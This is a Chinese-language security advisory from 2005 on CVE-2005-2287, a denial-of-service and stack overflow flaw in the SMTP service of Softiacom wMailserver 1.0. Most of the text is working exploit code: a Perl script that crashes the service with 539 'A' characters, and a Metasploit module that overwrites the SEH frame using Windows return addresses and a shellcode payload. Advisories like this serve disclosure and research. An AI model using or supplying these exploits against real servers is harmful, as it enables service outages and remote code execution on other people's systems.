发布日期：2005-07-12
更新日期：2005-07-12

受影响系统：

softiacom WMailserver 1.0

描述：

---

BUGTRAQ  ID: 14213
CVE(CAN) ID: CVE-2005-2287

Softiacom wMailserver是一款用于Win平台的邮件服务软件。

Softiacom wMailserver在发送539个字符到SMTP服务时会触发拒绝服务漏洞，造成服务中断。

<*来源：fRoGGz （unsecure@writeme.com）
  
  链接：http://osvdb.org/17883
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

fRoGGz （unsecure@writeme.com）提供了如下测试方法：

#!/usr/bin/perl
# -----------------------------------------------------
# Vulnerability: Denial Of Service - Crash
# Discovered on: July 9, 2005
# Coded by: fRoGGz - SecuBox Labs
# Severity: Normal
-----------------------------------------------------

$boulet = $ARGV[0];

use IO::Socket;
print "\n\nSoftiaCom Software - wMailServer v1.0\r\n";
print "Denial Of Service - Crash Vulnerability\r\n";
print "---------------------------------------------\r\n";
print "Discovered & coded by fRoGGz - SecuBox Labs\r\n\n";
if(!$ARGV[0]) {
die "Utilisation: ./wms_poc.pl <ip>\n";
}

print "[ ] Connexion sur $boulet\n";
my($suckette) = "";
if ($suckette = IO::Socket::INET->new(PeerAddr => $boulet,PeerPort => "25",Proto => "TCP"))
{
print $suckette " " . "\x41" x 539 . "\r\n";
print "[ ] Emission du paquet malicieux ...\n";
sleep 2;
close $suckette;
print "[ ] Mission termin?e !\n\n";
}
else
{
print "[-] Impossible de se connecter sur $boulet\n";
}



##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wmailserver_smtp;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

    'Name'     => 'SoftiaCom WMailserver 1.0 SMTP Buffer Overflow',
    'Version'  => '$Revision: 1.1 $',
    'Authors'  => [ 'y0 [at] w00t-shell.net', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp' ],
    'Priv'  => 0,
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 25],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },
    'AutoOpts' => { 'EXITFUNC' => 'thread' },
    'Payload' =>
      {
        'Space'     => 600,
        'BadChars'  => "\x00\x0a\x0d\x20:=+\x22",
        'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
        'Keys'      => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
    This module exploits a stack overflow in SoftiaCom WMailserver 1.0 (SMTP)
    via a SEH frame overwrite.
}),

    'Refs'  =>
      [
        ['CVE', 'CAN-2005-2287'],
        ['BID', '14213'],
      ],
    'Targets' =>
      [
        ['Windows NT 4.0 English SP4/SP5/SP6', 0x776a1799],
        ['Windows 2000 English ALL', 0x75022ac4],
        ['Windows XP English SP0/SP1', 0x71aa32ad],
      ],
    'Keys' => ['smtp'],
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit
{
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    if (! $self->InitNops(128)) {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    my $splat  = Pex::Text::UpperCaseText(5117);

    my $sploit =
      " ". $splat. "\xeb\x06". pack('V', $target->[1]).
      $shellcode. "\r\n\r\n";

    $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $s->Send($sploit);
    $self->Handler($s);
    $s->Close();
    return;
}

1;

建议：

---

厂商补丁：

softiacom
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.softiacom.com/

浏览次数：1814
严重程度：0（网友投票）